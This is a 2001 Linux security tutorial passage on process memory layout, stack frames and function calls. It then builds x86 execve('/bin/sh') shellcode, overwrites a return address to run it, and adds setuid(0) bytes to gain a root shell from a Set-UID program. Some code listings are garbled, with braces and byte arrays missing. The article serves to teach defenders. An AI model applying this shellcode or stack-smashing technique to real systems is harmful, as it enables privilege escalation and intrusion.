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[image of the authors]
by Frédéric Raynal, Christophe Blaess, Christophe Grenier

About the author:

Christophe Blaess is an independent aeronautics engineer. He is a Linux fan and does much of his work on this system. He coordinates the translation of the man pages as published by the Linux Documentation Project.

Christophe Grenier is a 5th year student at the ESIEA, where he works as a sysadmin too. He has a passion for computer security.

Frédéric Raynal has been using Linux for many years because it doesn't pollute, it doesn't use hormones, neither GMO nor animal fat-flour... only sweat and tricks.



Avoiding security holes when developing an application - Part 2: memory, stack and functions, shellcode

article illustration


This series of articles tries to put the emphasis on the main security holes that can appear within applications. It shows ways to avoid those holes by changing development habits a little.

This article, focuses on memory organization and layout and explains the relationship between a function and memory. The last section shows how to build shellcode.



In our previous article we analyzed the simplest security holes, the ones based on external command execution. This article and the next one show a widespread type of attack, the buffer overflow. First we will study the memory structure of a running application, and then we'll write a minimal piece of code allowing to start a shell (shellcode).  

Memory layout


What is a program?

Let's assume a program is an instruction set, expressed in machine code (regardless of the language used to write it) that we commonly call a binary. When first compiled to get the binary file, the program source held variables, constants and instructions. This section presents the memory layout of the different parts of the binary.


The different areas

To understand what goes on while executing a binary, let's have a look at the memory organization. It relies on different areas :

memory layout

This is generally not all, but we just focus on the parts that are most important for this article.

The command size -A file --radix 16 gives the size of each area reserved when compiling. From that you get their memory addresses (you can also use the command objdump to get this information). Here the output of size for a binary called "fct":

>>size -A fct --radix 16
fct  :
section            size        addr
.interp            0x13   0x80480f4
.note.ABI-tag      0x20   0x8048108
.hash              0x30   0x8048128
.dynsym            0x70   0x8048158
.dynstr            0x7a   0x80481c8
.gnu.version        0xe   0x8048242
.gnu.version_r     0x20   0x8048250
.rel.got            0x8   0x8048270
.rel.plt           0x20   0x8048278
.init              0x2f   0x8048298
.plt               0x50   0x80482c8
.text             0x12c   0x8048320
.fini              0x1a   0x804844c
.rodata            0x14   0x8048468
.data               0xc   0x804947c
.eh_frame           0x4   0x8049488
.ctors              0x8   0x804948c
.dtors              0x8   0x8049494
.got               0x20   0x804949c
.dynamic           0xa0   0x80494bc
.bss               0x18   0x804955c
.stab             0x978         0x0
.stabstr         0x13f6         0x0
.comment          0x16e         0x0
.note              0x78   0x8049574
Total            0x23c8

The text area holds the program instructions. This area is read-only. It's shared between every process running the same binary. Attempting to write into this area causes a segmentation violation error.

Before explaining the other areas, let's recall a few things about variables in C. The global variables are used in the whole program while the local variables are only used within the function where they are declared. The static variables have a known size depending on their type when they are declared. Types can be char, int, double, pointers, etc. On a PC type machine, a pointer represents a 32bit integer address within memory. The size of the area pointed to is obviously unknown during compilation. A dynamic variable represents an explicitly allocated memory area - it is really a pointer pointing to that allocated address. global/local, static/dynamic variables can be combined without problems.

Let's go back to the memory organization for a given process. The data area stores the initialized global static data (the value is provided at compile time), while the bss segment holds the uninitialized global data. These areas are reserved at compile time since their size is defined according to the objects they hold.

What about local and dynamic variables? They are grouped in a memory area reserved for program execution (user stack frame). Since functions can be invoked recursively, the number of instances of a local variable is not known in advance. When creating them, they will be put in the stack. This stack is on top of the highest addresses within the user address space, and works according to a LIFO model (Last In, First Out). The bottom of the user frame area is used for dynamic variables allocation. This area is called heap : it contains the memory areas addressed by pointers and the dynamic variables. When declared, a pointer is a 32bit variable either in BSS or in the stack and does not point to any valid address. When a process allocates memory (i.e. using malloc) the address of the first byte of that memory (also 32bit number) is put into the pointer.


Detailed example

The following example illustrates the variable layout in memory :

/* mem.c */

  int    index = 1;   //in data
  char * str;         //in bss
  int    nothing;     //in bss

void f(char c)
  int i;              //in the stack
  /* Reserves 5 characters in the heap */
  str = (char*) malloc (5 * sizeof (char));
  strncpy(str, "abcde", 5);

int main (void)

The gdb debugger confirms all this.

>>gdb mem
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public
License, and you are welcome to change it and/or distribute
copies of it under certain conditions.  Type "show copying"
to see the conditions.  There is absolutely no warranty
for GDB.  Type "show warranty" for details.  This GDB was
configured as "i386-redhat-linux"...

Let's put a breakpoint in the f() function and run the program untill this point :

(gdb) list
7      void f(char c)
8      {
9         int i;
10        str = (char*) malloc (5 * sizeof (char));
11        strncpy (str, "abcde", 5);
12     }
14     int main (void)
(gdb) break 12
Breakpoint 1 at 0x804842a: file mem.c, line 12.
(gdb) run
Starting program: mem

Breakpoint 1, f (c=0 '\000') at mem.c:12
12      }

We now can see the place of the different variables.

1. (gdb) print &index
$1 = (int *) 0x80494a4
2. (gdb) info symbol 0x80494a4
index in section .data
3. (gdb)  print &nothing
$2 = (int *) 0x8049598
4. (gdb) info symbol 0x8049598
nothing in section .bss
5. (gdb) print str
$3 = 0x80495a8 "abcde"
6. (gdb) info symbol 0x80495a8
No symbol matches 0x80495a8.
7. (gdb) print &str
$4 = (char **) 0x804959c
8. (gdb) info symbol 0x804959c
str in section .bss
9. (gdb) x 0x804959c
0x804959c <str>:     0x080495a8
10. (gdb) x/2x 0x080495a8
0x80495a8: 0x64636261      0x00000065

The command in 1 (print &index) shows the memory address for the index global variable. The second instruction (info) gives the symbol associated to this address and the place in memory where it can be found : index, an initialized global static variable is stored in the data area.

Instructions 3 and 4 confirm that the uninitialized static variable nothing can be found in the BSS segment.

Line 5 displays str ... in fact the str variable content, that is the address 0x80495a8. The instruction 6 shows that no variable has been defined at this address. Command 7 allows you to get the str variable address and command 8 indicates it can be found in the BSS segment.

At 9, the 4 bytes displayed correspond to the memory content at address 0x804959c : it's a reserved address within the heap. The content at 10 shows our string "abcde" :

hexadecimal value : 0x64 63 62 61      0x00000065
character         :    d  c  b  a               e

The local variables c and i are put in the stack.

We notice that the size returned by the size command for the different areas does not match what we expected when looking at our program. The reason is that various other variables declared in libraries appear when running the program (type info variables under gdb to get them all).


The stack and the heap

Each time a function is called, a new environment must be created within memory for local variables and the function's parameters (here environment means all elements appearing while executing a function : its arguments, its local variables, its return address in the execution stack... this is not the environment for shell variables we mentioned in the previous article). The %esp (extended stack pointer) register holds the top stack address, which is at the bottom in our representation, but we'll keep calling it top to complete analogy to a stack of real objects, and points to the last element added to the stack; dependent on the architecture, this register may sometimes point to the first free space in the stack.

The address of a local variable within the stack could be expressed as an offset relative to %esp. However, items are always added or removed to/from the stack, the offset of each variable would then need readjustment and that is very ineffecient. The use of a second register allows to improve that : %ebp (extended base pointer) holds the start address of the environment of the current function. Thus, it's enough to express the offset related to this register. It stays constant while the function is executed. Now it is easy to find the parameters or the local variables within a function.

The stack's basic unit is the word : on i386 CPUs it's 32bit, that is 4 bytes. This is different for other architectures. On Alpha CPUs a word is 64 bits. The stack only manages words, that means every allocated variable uses the same word size. We'll see that with more details in the description of a function prolog. The display of the str variable content using gdb in the previous example illustrates it. The gdb x command displays a whole 32bit word (read it from left to right since it's a little endian representation).

The stack is usually manipulated with just 2 cpu instructions :


The registers

What exactly are the registers? You can see them as drawers holding only one word, while memory is made of a series of words. Each time a new value is put in a register, the old value is lost. Registers allow direct communication between memory and CPU.

The first 'e' appearing in the registers name means "extended" and indicates the evolution between old 16bit and present 32bit architectures.

The registers can be divided into 4 categories :

  1. general registers : %eax, %ebx, %ecx and %edx are used to manipulate data;
  2. segment registers : 16bit %cs, %ds, %esx and %ss, hold the first part of a memory address;
  3. offset registers : they indicate an offset related to segment registers :
  4. special registers : they are only used by the CPU.
Note: everything said here about registers is very x86 oriented but alpha, sparc, etc have registers with different names but similar functionality.  

The functions



This section presents the behavior of a program from call to finish. Along this section we'll use the following example :
/* fct.c */

void toto(int i, int j)
  char str[5] = "abcde";
  int k = 3;
  j = 0;

int main(int argc, char **argv)
  int i = 1;
  toto(1, 2);
  i = 0;

The purpose of this section is to explain the behavior of the above functions regarding the stack and the registers. Some attacks try to change the way a program runs. To understand them, it's useful to know what normally happens.

Running a function is divided into three steps :

  1. the prolog : when entering a function, you already prepare the way out of it, saving the stack's state before entering the function and reserving the needed memory to run it;
  2. the function call : when a function is called, its parameters are put into the stack and the instruction pointer (IP) is saved to allow the instruction execution to continue from the right place after the function;
  3. the function return : to put things back as they were before calling the function.

The prolog

A function always starts with the instructions :
push   %ebp
mov    %esp,%ebp
push   $0xc,%esp       //$0xc depends on each program

These three instructions make what is called the prolog. The diagram 1 details the way the toto() function prolog works explaining the %ebp and %esp registers parts :

Diag. 1 : prolog of a function
prolog Initially, %ebp points in the memory to any X address. %esp is lower in the stack, at Y address and points to the last stack entry. When entering a function, you must save the beginning of the "current environment", that is %ebp. Since %ebp is put into the stack, %esp decreases by a memory word.
environment This second instruction allows building a new "environment" for the function, putting %ebp on the top of the stack. %ebp and %esp then pointing to the same memory word which holds the previous environment address.
stack space for local variables Now the stack space for local variables has to be reserved. The character array is defined with 5 items and needs 5 bytes (a char is one byte). However the stack only manages words, and can only reserve multiples of a word (1 word, 2 words, 3 words, ...). To store 5 bytes in the case of a 4 bytes word, you must use 8 bytes (that is 2 words). The grayed part could be used, even if it is not really part of the string. The k integer uses 4 bytes. This space is reserved by decreasing the value of %esp by 0xc (12 in hexadecimal). The local variables use 8+4=12 bytes (i.e. 3 words).

Apart from the mechanism itself, the important thing to remember here is the local variables position : the local variables have a negative offset when related to %ebp. The i=0 instruction in the main() function illustrates this. The assembly code (cf. below) uses indirect addressing to access the i variable :

0x8048411 <main+25>:    movl   $0x0,0xfffffffc(%ebp)

The 0xfffffffc hexadecimal represents the -4 integer. The notation means put the value 0 into the variable found at "-4 bytes" relatively to the %ebp register. i is the first and only local variable in the main() function, therefore its address is 4 bytes (i.e. integer size) "below" the %ebp register.


The call

Just like the prolog of a function prepares its environment, the function call allows this function to receive its arguments, and once terminated, to return to the calling function.

As an example, let's take the toto(1, 2); call.

Diag. 2 : Function call
argument on stack Before calling a function, the arguments it needs are stored in the stack. In our example, the two constant integers 1 and 2 are first stacked, beginning with the last one. The %eip register holds the address of the next instruction to execute, in this case the function call.

When executing the call instruction, %eip takes the address value of the following instruction found 5 bytes after (call is a 5 byte instruction - every instruction doesn't use the same space depending on the CPU). The call then saves the address contained in %eip to be able to go back to the execution after running the function. This "backup" is done from an implicit instruction putting the register in the stack :

    push %eip

The value given as an argument to call corresponds to the address of the first prolog instruction from the toto() function. This address is then copied to %eip, thus it becomes the next instruction to execute.

Once we are in the function body, its arguments and the return address have a positive offset when related to %ebp, since the next instruction puts this register to the top of the stack. The j=0 instruction in the toto() function illustrates this. The Assembly code again uses indirect addressing to access the j :

0x80483ed <toto+29>:    movl   $0x0,0xc(%ebp)

The 0xc hexadecimal represents the +12 integer. The notation used means put the value 0 in the variable found at "+12 bytes" relatively to the %ebp register. j is the function's second argument and it's found at 12 bytes "on top" of the %ebp register (4 for instruction pointer backup, 4 for the first argument and 4 for the second argument - cf. the first diagram in the return section)


The return

Leaving a function is done in two steps. First, the environment created for the function must be cleaned up (i.e. putting %ebp and %eip back as they were before the call). Once this done, we must check the stack to get the information related to the function we are just coming out off.

The first step is done within the function with the instructions :


The next one is done within the function where the call took place and consists of cleaning up the stack from the arguments of the called function.

We carry on with the previous example of the toto() function.

Diag. 3 : Function return
initial situation Here we describe the initial situation before the call and the prolog. Before the call, %ebp was at address X and %esp at address Y . >From there we stacked the function arguments, saved %eip and %ebp and reserved some space for our local variables. The next executed instruction will be leave.
leave The instruction leave is equivalent to the sequence :
    mov ebp esp
    pop ebp

The first one takes %esp and %ebp back to the same place in the stack. The second one puts the top of the stack in the %ebp register. In only one instruction (leave), the stack is like it would have been without the prolog.
restore The ret instruction restores %eip in such a way the calling function execution starts back where it should, that is after the function we are leaving. For this, it's enough to unstack the top of the stack in %eip.

We are not yet back to the initial situation since the function arguments are still stacked. Removing them will be the next instruction, represented with its Z+5 address in %eip (notice the instruction addressing is increasing as opposed to what's happening on the stack).

stacking of parameters The stacking of parameters is done in the calling function, so is it for unstacking. This is illustrated in the opposite diagram with the separator between the instructions in the called function and the add 0x8, %esp in the calling function. This instruction takes %esp back to the top of the stack, as many bytes as the toto() function parameters used. The %ebp and %esp registers are now in the situation they were before the call. On the other hand, the %eip instruction register moved up.


gdb allows to get the Assembly code corresponding to the main() and toto() functions :

>>gcc -g -o fct fct.c
>>gdb fct
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.  GDB is free
software, covered by the GNU General Public License, and
you are welcome to change it and/or distribute copies of
it under certain conditions.  Type "show copying" to see
the conditions.  There is absolutely no warranty for GDB.
Type "show warranty" for details.  This GDB was configured
as "i386-redhat-linux"...
(gdb) disassemble main                    //main
Dump of assembler code for function main:

0x80483f8 <main>:    push   %ebp //prolog
0x80483f9 <main+1>:  mov    %esp,%ebp
0x80483fb <main+3>:  sub    $0x4,%esp

0x80483fe <main+6>:  movl   $0x1,0xfffffffc(%ebp)

0x8048405 <main+13>: push   $0x2 //call
0x8048407 <main+15>: push   $0x1
0x8048409 <main+17>: call   0x80483d0 <toto>

0x804840e <main+22>: add    $0x8,%esp //return from toto()

0x8048411 <main+25>: movl   $0x0,0xfffffffc(%ebp)
0x8048418 <main+32>: mov    0xfffffffc(%ebp),%eax

0x804841b <main+35>: push   %eax     //call
0x804841c <main+36>: push   $0x8048486
0x8048421 <main+41>: call   0x8048308 <printf>

0x8048426 <main+46>: add    $0x8,%esp //return from printf()
0x8048429 <main+49>: leave            //return from main()
0x804842a <main+50>: ret

End of assembler dump.
(gdb) disassemble toto                    //toto
Dump of assembler code for function toto:

0x80483d0 <toto>:     push   %ebp   //prolog
0x80483d1 <toto+1>:   mov    %esp,%ebp
0x80483d3 <toto+3>:   sub    $0xc,%esp

0x80483d6 <toto+6>:   mov    0x8048480,%eax
0x80483db <toto+11>:  mov    %eax,0xfffffff8(%ebp)
0x80483de <toto+14>:  mov    0x8048484,%al
0x80483e3 <toto+19>:  mov    %al,0xfffffffc(%ebp)
0x80483e6 <toto+22>:  movl   $0x3,0xfffffff4(%ebp)
0x80483ed <toto+29>:  movl   $0x0,0xc(%ebp)
0x80483f4 <toto+36>:  jmp    0x80483f6 <toto+38>

0x80483f6 <toto+38>:  leave         //return from toto()
0x80483f7 <toto+39>:  ret

End of assembler dump.
The instructions without color correspond to our program instructions, such as assignment for instance.  

Creating a shellcode

In some cases, it's possible to act on the process stack content, by overwriting the return address of a function and making the application execute some arbitrary code. This is especially interesting for a cracker if the application runs under an ID different from the user's one (Set-UID program or daemon). This type of mistake is particularly dangerous if an application like a document reader is started by another user. The famous Acrobat Reader bug, where a modified document was able to start a buffer overflow. It also works for network services (ie : imap).

In future articles, we'll talk about mechanisms used to execute instructions. Here we start studying the code itself, the one we want to be executed from the main application. The simplest solution is to have a piece of code to run a shell. The reader can then perform other actions such as changing the /etc/passwd file permission. For reasons which will be obvious later, this program must be done in Assembly language. This type of small program which is used to run a shell is usually called shellcode.

The examples mentioned are inspired from Aleph One's article "Smashing the Stack for Fun and Profit" from the Phrack magazine number 49.


With C language

The goal of a shellcode is to run a shell. The following C program does this :

/* shellcode1.c */

    #include <stdio.h>
    #include <unistd.h>

int main()
  char * name[] = {"/bin/sh", NULL};
  execve(name[0], name, NULL);
  return (0);

Among the set of functions able to call a shell, many reasons recommend the use of execve(). First, it's a true system-call, unlike the other functions from the exec() family, which are in fact GlibC library functions built from execve(). A system-call is done from an interrupt. It suffices to define the registers and their content to get an effective and short Assembly code.

Moreover, if execve() succeeds, the calling program (here the main application) is replaced with the executable code of the new program and starts. When the execve() call fails, the program execution goes on. In our example, the code is inserted in the middle of the attacked application. Going on with execution would be meaningless and could even be disastrous. The execution then must end as quickly as possible. A return (0) allows exiting a program only when this instruction is called from the main() function, this is is unlikely here. We then must force termination through the exit() function.

/* shellcode2.c */

    #include <stdio.h>
    #include <unistd.h>

int main()
  char * name [] = {"/bin/sh", NULL};
  execve (name [0], name, NULL);
  exit (0);

In fact, exit() is another library function that wraps the real system-call _exit(). A new change brings us closer to the system :

/* shellcode3.c */
    #include <unistd.h>
    #include <stdio.h>

int main()
  char * name [] = {"/bin/sh", NULL};
  execve (name [0], name, NULL);
Now, it's time to compare our program to its Assembly equivalent.  

Assembly calls

We'll use gcc and gdb to get the Assembly instructions corresponding to our small program. Let's compile shellcode3.c with the debugging option (-g) and integrate the functions normally found in shared libraries into the program itself with the --static option. Now, we have the needed information to understand the way _exexve() and _exit() system-calls work.
$ gcc -o shellcode3 shellcode3.c -O2 -g --static
Next, with gdb, we look for our functions Assembly equivalent. This is for Linux on Intel platform (i386 and up).
$ gdb shellcode3
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public
License, and you are welcome to change it and/or distribute
copies of it under certain conditions.  Type "show copying"
to see the conditions.  There is absolutely no warranty
for GDB.  Type "show warranty" for details.  This GDB was
configured as "i386-redhat-linux"...
We ask gdb to list the Assembly code, more particularly its main() function.
(gdb) disassemble main
Dump of assembler code for function main:
0x8048168 <main>:       push   %ebp
0x8048169 <main+1>:     mov    %esp,%ebp
0x804816b <main+3>:     sub    $0x8,%esp
0x804816e <main+6>:     movl   $0x0,0xfffffff8(%ebp)
0x8048175 <main+13>:    movl   $0x0,0xfffffffc(%ebp)
0x804817c <main+20>:    mov    $0x8071ea8,%edx
0x8048181 <main+25>:    mov    %edx,0xfffffff8(%ebp)
0x8048184 <main+28>:    push   $0x0
0x8048186 <main+30>:    lea    0xfffffff8(%ebp),%eax
0x8048189 <main+33>:    push   %eax
0x804818a <main+34>:    push   %edx
0x804818b <main+35>:    call   0x804d9ac <__execve>
0x8048190 <main+40>:    push   $0x0
0x8048192 <main+42>:    call   0x804d990 <_exit>
0x8048197 <main+47>:    nop
End of assembler dump.
The calls to functions at addresses 0x804818b and 0x8048192 invoke the C library subroutines holding the real system-calls. Notice the 0x804817c : mov $0x8071ea8,%edx instruction fills the %edx register with a value looking like an address. Let's examine the memory content from this address, displaying it as a string :
(gdb) printf "%s\n", 0x8071ea8
Now we know where the string is. Let's have a look at the execve() and _exit() functions disassembling list :
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x804d9ac <__execve>:    push   %ebp
0x804d9ad <__execve+1>:  mov    %esp,%ebp
0x804d9af <__execve+3>:  push   %edi
0x804d9b0 <__execve+4>:  push   %ebx
0x804d9b1 <__execve+5>:  mov    0x8(%ebp),%edi
0x804d9b4 <__execve+8>:  mov    $0x0,%eax
0x804d9b9 <__execve+13>: test   %eax,%eax
0x804d9bb <__execve+15>: je     0x804d9c2 <__execve+22>
0x804d9bd <__execve+17>: call   0x0
0x804d9c2 <__execve+22>: mov    0xc(%ebp),%ecx
0x804d9c5 <__execve+25>: mov    0x10(%ebp),%edx
0x804d9c8 <__execve+28>: push   %ebx
0x804d9c9 <__execve+29>: mov    %edi,%ebx
0x804d9cb <__execve+31>: mov    $0xb,%eax
0x804d9d0 <__execve+36>: int    $0x80
0x804d9d2 <__execve+38>: pop    %ebx
0x804d9d3 <__execve+39>: mov    %eax,%ebx
0x804d9d5 <__execve+41>: cmp    $0xfffff000,%ebx
0x804d9db <__execve+47>: jbe    0x804d9eb <__execve+63>
0x804d9dd <__execve+49>: call   0x8048c84 <__errno_location>
0x804d9e2 <__execve+54>: neg    %ebx
0x804d9e4 <__execve+56>: mov    %ebx,(%eax)
0x804d9e6 <__execve+58>: mov    $0xffffffff,%ebx
0x804d9eb <__execve+63>: mov    %ebx,%eax
0x804d9ed <__execve+65>: lea    0xfffffff8(%ebp),%esp
0x804d9f0 <__execve+68>: pop    %ebx
0x804d9f1 <__execve+69>: pop    %edi
0x804d9f2 <__execve+70>: leave
0x804d9f3 <__execve+71>: ret
End of assembler dump.
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x804d990 <_exit>:      mov    %ebx,%edx
0x804d992 <_exit+2>:    mov    0x4(%esp,1),%ebx
0x804d996 <_exit+6>:    mov    $0x1,%eax
0x804d99b <_exit+11>:   int    $0x80
0x804d99d <_exit+13>:   mov    %edx,%ebx
0x804d99f <_exit+15>:   cmp    $0xfffff001,%eax
0x804d9a4 <_exit+20>:   jae    0x804dd90 <__syscall_error>
End of assembler dump.
(gdb) quit
The real kernel call is done through the 0x80 interrupt, at address 0x804d9d0 for execve() and at 0x804d99b for _exit(). This entry point is common to various system-calls, so the distinction is made with the %eax register content. Concerning execve(), it has the 0x0B value, while _exit() has the 0x01.

Diag. 4 : parameters of the execve() function
parameters of the execve() function

The analysis of these function's Assembly instructions provides us with the parameters they use :

We then need the "/bin/sh" string, a pointer to this string and a NULL pointer (for the arguments since we have none and for the environment since we don't define any). We can see a possible data representation before the execve() call. Building an array with a pointer to the /bin/sh string followed by a NULL pointer, %ebx will point to the string, %ecx to the whole array, and %edx to the second item of the array (NULL). This is shown in diag. 5.

Diag. 5 : data representation relative to registers

Locating the shellcode within memory

The shellcode is usually inserted into a vulnerable program through a command line argument, an environment variable or a typed string. Anyway, when creating the shellcode, we don't know the address it will use. Nevertheless, we must know the "/bin/sh" string address. A small trick allows us to get it.

When calling a subroutine with the call instruction, the CPU stores the return address in the stack, that is the address immediately following this call instruction (see above). Usually, the next step is to store the stack state (especially the %ebp register with the push %ebp instruction). To get the return address when entering the subroutine, it's enough to unstack with the pop instruction. Of course, we then store our "/bin/sh" string immediately after the call instruction to allow our "home made prolog" to provide us with the required string address. That is :

    jmp subroutine_call

    popl %esi
    (Shellcode itself)
    call subroutine

Of course, the subroutine is not a real one: either the execve() call succeeds, and the process is replaced with a shell, or it fails and the _exit() function ends the program. The %esi register gives us the "/bin/sh" string address. Then, it's enough to build the array putting it just after the string : its first item (at %esi+8, /bin/sh length + a null byte) holds the value of the %esi register, and its second at %esi+12 a null address (32 bit). The code will look like :

    popl %esi
    movl %esi, 0x8(%esi)
    movl $0x00, 0xc(%esi)

The diagram 6 shows the data area :

Diag. 6 : data array
data area

The null bytes problem

Vulnerable functions are often string manipulation routines such as strcpy(). To insert the code into the middle of the target application, the shellcode has to be copied as a string. However, these copy routines stop as soon as they find a null character. Then, our code must not have any. Using a few tricks will prevent us from writing null bytes. For example, the instruction

    movl $0x00, 0x0c(%esi)

will be replaced with
    xorl %eax, %eax
    movl %eax, %0x0c(%esi)

This example shows the use of a null byte. However, the translation of some instructions to hexadecimal can reveal some. For example, to make the distinction between the _exit(0) system-call and others, the %eax register value is 1, as seen in the
0x804d996 <_exit+6>: mov $0x1,%eax
Converted to hexadecimal, this string becomes :
 b8 01 00 00 00          mov    $0x1,%eax
You must then avoid its use. In fact, the trick is to initialize %eax with a register value of 0 and increment it.

On the other hand, the "/bin/sh" string must end with a null byte. We can write one while creating the shellcode, but, depending on the mechanism used to insert it into a program, this null byte may not be present in the final application. It's better to add one this way :

    /* movb only works on one byte */
    /* this instruction is equivalent to */
    /* movb %al, 0x07(%esi) */
    movb %eax, 0x07(%esi)


Building the shellcode

We now have everything to create our shellcode :

/* shellcode4.c */

int main()
  asm("jmp subroutine_call

    /* Getting /bin/sh address*/
        popl %esi
    /* Writing it as first item in the array */
        movl %esi,0x8(%esi)
    /* Writing NULL as second item in the array */
        xorl %eax,%eax
        movl %eax,0xc(%esi)
    /* Putting the null byte at the end of the string */
        movb %eax,0x7(%esi)
    /* execve() function */
        movb $0xb,%al
    /* String to execute in %ebx */
        movl %esi, %ebx
    /* Array arguments in %ecx */
        leal 0x8(%esi),%ecx
    /* Array environment in %edx */
        leal 0xc(%esi),%edx
    /* System-call */
        int  $0x80

    /* Null return code */
        xorl %ebx,%ebx
    /*  _exit() function : %eax = 1 */
        movl %ebx,%eax
        inc  %eax
    /* System-call */
        int  $0x80

        .string \"/bin/sh\"

The code is compiled with "gcc -o shellcode4 shellcode4.c". The command "objdump --disassemble shellcode4" ensures that our binary doesn't hold anymore null bytes :

08048398 <main>:
 8048398:   55                      pushl  %ebp
 8048399:   89 e5                   movl   %esp,%ebp
 804839b:   eb 1f                   jmp    80483bc <subroutine_call>

0804839d <subroutine>:
 804839d:   5e                      popl   %esi
 804839e:   89 76 08                movl   %esi,0x8(%esi)
 80483a1:   31 c0                   xorl   %eax,%eax
 80483a3:   89 46 0c                movb   %eax,0xc(%esi)
 80483a6:   88 46 07                movb   %al,0x7(%esi)
 80483a9:   b0 0b                   movb   $0xb,%al
 80483ab:   89 f3                   movl   %esi,%ebx
 80483ad:   8d 4e 08                leal   0x8(%esi),%ecx
 80483b0:   8d 56 0c                leal   0xc(%esi),%edx
 80483b3:   cd 80                   int    $0x80
 80483b5:   31 db                   xorl   %ebx,%ebx
 80483b7:   89 d8                   movl   %ebx,%eax
 80483b9:   40                      incl   %eax
 80483ba:   cd 80                   int    $0x80

080483bc <subroutine_call>:
 80483bc:   e8 dc ff ff ff          call   804839d <subroutine>
 80483c1:   2f                      das
 80483c2:   62 69 6e                boundl 0x6e(%ecx),%ebp
 80483c5:   2f                      das
 80483c6:   73 68                   jae    8048430 <_IO_stdin_used+0x14>
 80483c8:   00 c9                   addb   %cl,%cl
 80483ca:   c3                      ret
 80483cb:   90                      nop
 80483cc:   90                      nop
 80483cd:   90                      nop
 80483ce:   90                      nop
 80483cf:   90                      nop

The data found after the 80483c1 address doesn't represent instructions, but the "/bin/sh" string characters (in hexadécimal, the sequence 2f 62 69 6e 2f 73 68 00) and random bytes. The code doesn't hold any zeros, except the null character at the end of the string at 80483c8.

Now, let's test our program :

$ ./shellcode4
Segmentation fault (core dumped)

Ooops! Not very conclusive. If we think a bit, we can see the memory area where the main() function is found (i.e. the text area mentioned at the beginning of this article) is read-only. The shellcode can not modify it. What can we do now, to test our shellcode?

To get round the read-only problem, the shellcode must be put in a data area. Let's put it in an array declared as a global variable. We must use another trick to be able to execute the shellcode. Let's replace the main() function return address found in the stack with the address of the array holding the shellcode. Don't forget that the main function is a "standard" routine, called by pieces of code that the linker added. The return address is overwritten when writing the array of characters two places below the stacks first position.

  /* shellcode5.c */

  char shellcode[] =

  int main()
      int * ret;

      /* +2 will behave as a 2 words offset */
      /* (i.e. 8 bytes) to the top of the stack : */
      /*   - the first one for the reserved word for the
             local variable */
      /*   - the second one for the saved %ebp register */

      * ((int *) & ret + 2) = (int) shellcode;
      return (0);

Now, we can test our shellcode :

$ cc shellcode5.c -o shellcode5
$ ./shellcode5
bash$ exit

We can even install the shellcode5 program Set-UID root, and check the shell launched with the data handled by this program is executed under the root  identity :

$ su
# chown root.root shellcode5
# chmod +s shellcode5
# exit
$ ./shellcode5
bash# whoami
bash# exit


Generalization and last details

This shellcode is somewhat limited (well, it's not too bad with so few bytes!). For instance, if our test program becomes :

  /* shellcode5bis.c */

 char shellcode[] =

  int main()
      int * ret;
      * ((int *) & ret + 2) = (int) shellcode;
      return (0);
we fix the process effective UID to its real UID value, as we suggested it in the previous article. This time, the shell is run without specific privileges :
$ su
# chown root.root shellcode5bis
# chmod +s shellcode5bis
# exit
$ ./shellcode5bis
bash# whoami
bash# exit

However, the seteuid(getuid()) instructions are not a very effective protection. One need only insert the setuid(0); call equivalent at the beginning of a shellcode to get the rights linked to the initial EUID for an S-UID application.

This instruction code is :

  char setuid[] =
         "\x31\xc0"       /* xorl %eax, %eax */
         "\x31\xdb"       /* xorl %ebx, %ebx */
         "\xb0\x17"       /* movb $0x17, %al */

Integrating it into our previous shellcode, our example becomes :
  /* shellcode6.c */

  char shellcode[] =
  "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" /* setuid(0) */

  int main()
      int * ret;
      * ((int *) & ret + 2) = (int) shellcode;
      return (0);
Let's check how it works :
$ su
# chown root.root shellcode6
# chmod +s shellcode6
# exit
$ ./shellcode6
bash# whoami
bash# exit

As shown in this last example, it's possible to add functions to a shellcode, for instance, to leave the directory imposed by the chroot() function or to open a remote shell using a socket.

Such changes seem to imply you can adapt the value of some bytes in the shellcode according to their use :

eb XX <subroutine_call> XX = number of bytes to reach <subroutine_call>
5e popl %esi
89 76 XX movl %esi,XX(%esi) XX = position of the first item in the argument array (i.e. the command address). This offset is equal to the number of characters in the command, '\0' included.
31 c0 xorl %eax,%eax
89 46 XX movb %eax,XX(%esi) XX = position of the second item in the array, here, having a NULL value.
88 46 XX movb %al,XX(%esi) XX = position of the end of string '\0'.
b0 0b movb $0xb,%al
89 f3 movl %esi,%ebx
8d 4e XX leal XX(%esi),%ecx XX = offset to reach the first item in the argument array and to put it in the %ecx register
8d 56 XX leal XX(%esi),%edx XX = offset to reach the second item in the argument array and to put it in the %edx register
cd 80 int $0x80
31 db xorl %ebx,%ebx
89 d8 movl %ebx,%eax
40 incl %eax
cd 80 int $0x80
e8 XX XX XX XX call <subroutine> these 4 bytes correspond to the number of bytes to reach <subroutine> (negative number, written in little endian)


We wrote an approximately 40 byte long program and are able to run any external command as root. Our last examples show some ideas about how to smash a stack. More details on this mechanism in the next article...


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2001-04-27, generated by lfparser version 2.13